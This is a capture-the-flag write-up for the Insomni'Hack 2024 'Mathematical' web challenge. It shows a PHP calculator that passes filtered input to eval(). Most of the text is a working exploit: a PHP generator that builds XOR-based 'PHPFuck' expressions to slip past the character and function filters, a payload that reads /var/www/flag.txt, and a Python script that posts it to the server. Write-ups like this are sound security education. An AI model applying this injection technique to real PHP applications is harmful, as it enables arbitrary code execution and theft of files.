##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Mathematical

[Insomni'Hack Finals, 2024]

category: web

by XSSKevin

Challenge

The challenge is a web-based calculator app allowing you to perform math operations. The frontend provides you a nice calculator interface, whereas the formula is evaluated via the backend written in PHP8

<?php
// ini_set('display_errors', '1');
// ini_set('display_startup_errors', '1');
// error_reporting(E_ALL);
function compute($equation)
{
    // Allowed functions
    static $_allowed_funcs = ['abs', 'ceil', 'cos', 'exp', 'floor', 'log', 'log10', 'max', 'min', 'pi', 'pow', 'rand', 'round', 'sin', 'sqrt', 'srand', 'tan'];
    // Check for correct amount of parenthesis
    if (substr_count($equation, '(') !== substr_count($equation, ')')) {
        echo "Missing parenthesis";
        return;
    }
    // Forbid bad chars
    if (strpos($equation, '`') !== false || strpos($equation, '$') !== false || strpos($equation, '[]') !== false || strpos($equation, '{') !== false || strpos($equation, '}') !== false || strpos($equation, '"') !== false || strpos($equation, "'") !== false || strpos($equation, '|') !== false || strpos($equation, '&') !== false) {
        echo "Error";
        return;
    }
    // Check if equation contains forbidden functions
    preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);
    // var_dump($match);
    foreach ($match[1] as $curr_var) {
        if ($curr_var && !in_array($curr_var, $_allowed_funcs)) {
            echo "Function not allowed";
            return;
        }
    }
    $math_result = null;
    eval("\$math_result = " . $equation . ";");
    if (is_infinite($math_result)){
        echo "Overflow";
        return;
    }
    // Convert the result to a string
    return strval($math_result);
}
// Avoid DoS
set_time_limit(5);
// Main code
$max_length = 10000;
if (isset($_POST['expression']) && ($_POST['expression'] !== '')) {
    if (strlen($_POST['expression']) <= $max_length){
        // Get the user input
        $user_input = $_POST['expression'];
        $result = '';
    
        $result = compute($user_input);
        echo ($result);
    }
    else {
        echo "Expression is too big!";
    }
}
else {
    echo "No expression was given.";
}
?>

Exploit

The idea is to exploit the eval function in order to run arbitrary code. We therefore need to pass 2 checks to reach the eval function.

Bad Character Check

The first check searches for forbidden characters: `${}"'|& However, only the sequence [] as whole is checked, but not [ and ]

Forbidden function check

The second check restricts the usage to predefined functions through checking if the formula contains alphanumeric values.

(?:0x[a-fA-F0-9]+) checks for hexadecimal numbers and always allows them.

([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*) checks for alphanumeric values and checks if this function is permitted.

Solution

In order to bypass those checks, we can use the concept of PHPFuck. We can not use it directly as it only supports PHP7 due []^[] does not evaluate to 0 anymore in PHP8.

<?php
$mapping = array(
    // [0].[0] converts each array to an string and 
    // evalutes to ArrayArray
    // So with ([0].[0])[0] we get "A"
    // with ([0].[0])[1] we get "r" and so on.
    65 => "([0].[0])[0]", // "A"
    114 => "([0].[0])[1]", // "r"
    97 => "([0].[0])[3]", // "a"
    121 => "([0].[0])[4]", // "y"
    // [ ][0] evaluates to NULL
    // A number concenated to NULL converts the string to a number
    // (0).NULL -> (0).[ ][0] -> "0"
    // Note, that we use [ ] instead of [], 
    //   as [] is filtered by the forbidden character check
    48 => "(0).[ ][0]", // "1"
    49 => "(1).[ ][0]", // "2"
    50 => "(2).[ ][0]", // "3"
    51 => "(3).[ ][0]", // ...
    52 => "(4).[ ][0]",
    53 => "(5).[ ][0]",
    54 => "(6).[ ][0]",
    55 => "(7).[ ][0]",
    56 => "(8).[ ][0]",
    57 => "(9).[ ][0]"
);
// This is our basis
// We now try to combine those with xor to get other characters as well
// For example "A"^"1" -> "p"
// Then we add the new character e.g. "p" to our list
//    mapping and also to the workList
$workList = array_keys($mapping);
while(count($workList) > 0) {
    $val = array_pop($workList);
    foreach($mapping as $k => $v) {
        // Generating a new value
        $nv = $k^$val;
        if(!array_key_exists($nv, $mapping)) {
            // Adding it to the mapping and list
            $mapping[$nv] = $v . "^" . $mapping[$val];
            array_push($workList, $nv);
        }
    }
}
// Converting decimal numbers to ascii characters
$kv_mapping = array();
foreach($mapping as $k => $v) {
    $kv_mapping[chr($k)] = $v;
}
function convert($text) {
    global $kv_mapping;
    $etext = false;
    foreach(str_split($text) as $v) {
        if(!array_key_exists($v, $kv_mapping)) die("Character not found in mapping list!");
        if($etext === false) $etext = "(".$kv_mapping[$v].")";
        else $etext .= "." . "(".$kv_mapping[$v].")";
    }
    return $etext;
}
// In order to execute functions, 
// we put our generated string to an array
// taking the index 0 and call it with paramters
$payload = implode("", [
    convert("1"),
    ";", // Returns a valid number
    "[",
    convert("print_r"),
    "][0](",
        "[",
        convert("file_get_contents"),
        "][0](",
        convert("/var/www/flag.txt"),
        ")",
    ")",
]);
// Payload is: 1; ["print_r"][0](["file_get_contents"][0]("/var/www/flag.txt"))
echo $payload;
?>

This generates our payload. We can now use this python script to deploy our exploit.

import requests
import os
HOST = "http://localhost:8081/"
# HOST = "https://mathematical.insomnihack.ch/"
expression = os.popen("php generator.php").read()
res = requests.post(HOST + "math.php", data={
    "expression": expression
})
print(res.status_code)
print(res.content.decode())
/writeups/ $

$